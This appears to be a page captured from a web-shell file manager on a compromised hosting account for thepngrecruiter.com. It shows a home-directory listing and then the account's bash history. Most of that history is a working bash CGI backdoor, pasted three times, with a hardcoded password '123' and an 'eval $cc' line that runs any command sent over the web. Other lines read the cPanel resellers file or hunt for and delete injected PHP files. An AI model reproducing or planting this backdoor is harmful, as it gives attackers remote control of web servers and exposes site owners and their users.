Gecko [ thepngrecruiter.com ]

Name	Size	Permission	Date
.appdata	[ DIR ]	drwx--x--x	2026-09-07 05:44
.cagefs	[ DIR ]	drwxrwx--x	2025-08-13 12:19
.caldav	[ DIR ]	drwx------	2026-06-20 02:56
.cl.selector	[ DIR ]	drwxr-xr-x	2026-09-12 05:44
.cpanel	[ DIR ]	drwx------	2026-09-21 12:05
.cphorde	[ DIR ]	drwx------	2025-08-13 09:35
.htpasswds	[ DIR ]	drwxr-x---	2025-08-14 10:06
.koality	[ DIR ]	drwxr-xr-x	2026-09-21 12:05
.pki	[ DIR ]	drwxr-----	2026-06-03 11:11
.softaculous	[ DIR ]	drwx--x--x	2025-08-13 21:49
.spamassassin	[ DIR ]	drwx------	2025-08-13 09:35
.subaccounts	[ DIR ]	drwx------	2026-08-20 09:24
.trash	[ DIR ]	drwx------	2026-09-21 01:22
.wp-cli	[ DIR ]	drwxr-xr-x	2025-08-14 10:09
access-logs	[ DIR ]	drwxr-x---	2026-09-20 22:00
application_backups	[ DIR ]	drwx------	2026-09-14 05:44
etc	[ DIR ]	drwxr-x---	2026-08-29 17:56
logs	[ DIR ]	drwx------	2026-09-20 22:23
mail	[ DIR ]	drwxr-x--x	2026-09-10 11:12
public_ftp	[ DIR ]	drwxr-x---	2026-08-29 17:56
public_html	[ DIR ]	drwxr-x---	2026-09-21 12:07
ssl	[ DIR ]	drwxr-xr-x	2026-09-17 01:22
tmp	[ DIR ]	drwxr-xr-x	2026-09-10 16:28
wordpress-backups	[ DIR ]	drwx------	2026-08-29 17:56
www	[ DIR ]	drwxr-x---	2026-09-21 12:07
.bash_history	13.51 KB	-rw-------	2026-09-10 10:42
.bash_logout	18 B	-rw-r--r--	2025-08-13 09:35
.bash_profile	193 B	-rw-r--r--	2025-08-13 09:35
.bashrc	231 B	-rw-r--r--	2025-08-13 09:35
.contactemail	26 B	-rw-r--r--	2026-09-03 03:44
.gemrc	138 B	-rw-r--r--	2026-08-20 09:24
.htaccess	197 B	-r--r--r--	2026-08-29 17:56
.lastlogin	571 B	-rw-------	2026-09-21 12:05
.monarx-user	305 B	-rw-r-----	2026-08-10 11:21
.spamassassinboxenable	0 B	-rw-r--r--	2025-08-13 09:35
.spamassassinenable	0 B	-rw-r--r--	2025-08-13 09:35
.wp-toolkit-identifier	684 B	-rw-------	2026-08-21 01:41
backup-8.20.2026_09-24-08_thepngre.tar.gz	843.65 KB	-rw-------	2026-08-20 09:24
wp-blog-header.php	2.74 KB	-r--r--r--	2026-08-29 17:56
wp-cron.php	2.74 KB	-rw-r--r--	2026-08-29 17:56

Rename

#1788214638
grep -RInE "base64_decode|eval\(|assert\(|shell_exec|passthru|curl_exec|file_get_contents\(http" .
#1788217421
clear
#1788217424
exit
#1788371090
#!/bin/bash -i
#1788371090
#
#1788371090
password="123"
#1788371090
function cgi_get_POST_vars() {     [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && 	echo "Warning: you should probably use MIME type "	     "application/x-www-form-urlencoded!" 1>&2     [ -z "$QUERY_STRING_POST"       -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && 	read -n $CONTENT_LENGTH QUERY_STRING_POST;     return; }
#1788371090
function cgi_decodevar() {     [ $# -ne 1 ] && return;     local v t h;          t="${1//+/ }%%";     while [ ${#t} -gt 0 -a "${t}" != "%" ]; do 	v="${v}${t%%\%*}" ; 	t="${t#*%}"       ; 	 	if [ ${#t} -gt 0 -a "${t}" != "%" ]; then 	    h=${t:0:2} ; 	    t="${t:2}" ; 	    v="${v}"`echo -e \\\\x${h}` ; 	fi;     done;          echo "${v}";     return; }
#1788371090
function cgi_getvars() {     [ $# -lt 2 ] && return;     local q p k v s     case $1 in 	GET) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    ;; 	POST) 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; 	    ;; 	BOTH) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; 	    ;;     esac;     shift;     s=" $* "     while [ ! -z "$q" ]; do 	p="${q%%&*}"  # get first part of query string; 	k="${p%%=*}"  # get the key (variable name) from it; 	v="${p#*=}"   # get the value from it; 	q="${q#$p&*}" # strip first part from query string 	[ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && 	    eval "$k=\"`cgi_decodevar \"$v\"`\"";     done;     return; }
#1788371090
# register all GET and POST variables
#1788371090
cgi_getvars BOTH ALL
#1788371090
pass="SAVEDPWD=$password"
#1788371090
passv=`echo $HTTP_COOKIE | awk '$pass|'  -f0`
#1788371090
if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; exit; else if [ -n "$xx"  ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; else echo -e "Content-type: text/html\n\n"; fi;  fi
#1788371090
echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d
#1788371090
if [ -n "$cc"  ] ; then echo "<table border='0' width='100%'><tr><td align='center'><div class='box' align='left'><xmp>"; cd $d ; eval $cc; echo "<cmd>$?<cmd>"; echo '</xmp></div></pre></td></tr></table><br><br>'; fi
#1788371090
echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d
#1788371090
pwd  
#1788371090
echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT
ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo
cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k
PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl
PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0
dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d
#1788371090
#!/bin/bash -i
#1788371090
#
#1788371090
password="123"
#1788371090
function cgi_get_POST_vars() {     [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && 	echo "Warning: you should probably use MIME type "	     "application/x-www-form-urlencoded!" 1>&2     [ -z "$QUERY_STRING_POST"       -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && 	read -n $CONTENT_LENGTH QUERY_STRING_POST;     return; }
#1788371090
function cgi_decodevar() {     [ $# -ne 1 ] && return;     local v t h;          t="${1//+/ }%%";     while [ ${#t} -gt 0 -a "${t}" != "%" ]; do 	v="${v}${t%%\%*}" ; 	t="${t#*%}"       ; 	 	if [ ${#t} -gt 0 -a "${t}" != "%" ]; then 	    h=${t:0:2} ; 	    t="${t:2}" ; 	    v="${v}"`echo -e \\\\x${h}` ; 	fi;     done;          echo "${v}";     return; }
#1788371090
function cgi_getvars() {     [ $# -lt 2 ] && return;     local q p k v s     case $1 in 	GET) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    ;; 	POST) 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; 	    ;; 	BOTH) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; 	    ;;     esac;     shift;     s=" $* "     while [ ! -z "$q" ]; do 	p="${q%%&*}"  # get first part of query string; 	k="${p%%=*}"  # get the key (variable name) from it; 	v="${p#*=}"   # get the value from it; 	q="${q#$p&*}" # strip first part from query string 	[ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && 	    eval "$k=\"`cgi_decodevar \"$v\"`\"";     done;     return; }
#1788371090
# register all GET and POST variables
#1788371090
cgi_getvars BOTH ALL
#1788371090
pass="SAVEDPWD=$password"
#1788371090
passv=`echo $HTTP_COOKIE | awk '$pass|'  -f0`
#1788371090
if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; exit; else if [ -n "$xx"  ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; else echo -e "Content-type: text/html\n\n"; fi;  fi
#1788371090
echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d
#1788371090
if [ -n "$cc"  ] ; then echo "<table border='0' width='100%'><tr><td align='center'><div class='box' align='left'><xmp>"; cd $d ; eval $cc; echo "<cmd>$?<cmd>"; echo '</xmp></div></pre></td></tr></table><br><br>'; fi
#1788371090
echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d
#1788371090
pwd  
#1788371090
echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT
ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo
cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k
PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl
PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0
dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d
#1788371090
#!/bin/bash -i
#1788371090
#
#1788371090
password="123"
#1788371090
function cgi_get_POST_vars() {     [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && 	echo "Warning: you should probably use MIME type "	     "application/x-www-form-urlencoded!" 1>&2     [ -z "$QUERY_STRING_POST"       -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && 	read -n $CONTENT_LENGTH QUERY_STRING_POST;     return; }
#1788371090
function cgi_decodevar() {     [ $# -ne 1 ] && return;     local v t h;          t="${1//+/ }%%";     while [ ${#t} -gt 0 -a "${t}" != "%" ]; do 	v="${v}${t%%\%*}" ; 	t="${t#*%}"       ; 	 	if [ ${#t} -gt 0 -a "${t}" != "%" ]; then 	    h=${t:0:2} ; 	    t="${t:2}" ; 	    v="${v}"`echo -e \\\\x${h}` ; 	fi;     done;          echo "${v}";     return; }
#1788371090
function cgi_getvars() {     [ $# -lt 2 ] && return;     local q p k v s     case $1 in 	GET) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    ;; 	POST) 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; 	    ;; 	BOTH) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; 	    ;;     esac;     shift;     s=" $* "     while [ ! -z "$q" ]; do 	p="${q%%&*}"  # get first part of query string; 	k="${p%%=*}"  # get the key (variable name) from it; 	v="${p#*=}"   # get the value from it; 	q="${q#$p&*}" # strip first part from query string 	[ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && 	    eval "$k=\"`cgi_decodevar \"$v\"`\"";     done;     return; }
#1788371090
# register all GET and POST variables
#1788371090
cgi_getvars BOTH ALL
#1788371090
pass="SAVEDPWD=$password"
#1788371090
passv=`echo $HTTP_COOKIE | awk '$pass|'  -f0`
#1788371090
if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; exit; else if [ -n "$xx"  ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; else echo -e "Content-type: text/html\n\n"; fi;  fi
#1788371090
echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d
#1788371090
cat /var/cpanel/resellers
#1788714205
ls -la wp-content/plugins/wp/
#1788714264
1s -la public_html/wp-content/plugins/wp
#1788714276
rm -f ~/public_html/wp-content/plugins/wp/tkOgk.php
#1788714295
ls -la ~/public_html/wp-content/plugins/wp/
#1788714592
ls -ld ~/public_html/wp-content/plugins/wp
#1788714606
rm -f ~/public_html/wp-content/plugins/wp/tkogk.php
#1788714835
clear
#1788714838
head -50 ~/public_html/wp-content/plugins/zero-bs-crm/vendor/wp/XHZELoTlt.php
#1788714869
grep -i "eval\|base64_decode\|gzinflate" ~/public_html/wp-content/plugins/zero-bs-crm/vendor/wp/XHZELoTlt.php
#1788714882
ls -la ~/public_html/wp-content/plugins/zero-bs-crm/vendor/wp/
#1788715066
clear
#1788715068
find ~/public_html -type f -name "*.php" | grep -Ei "([A-Z]{5,}|[a-zA-Z]{8,}\.php)"
#1788715126
grep -R "eval(base64_decode" ~/public_html
#1788715336
clear
#1789000756
status
#1789000769
sysCheck
#1789000774
sysUdpate
#1789000778
sys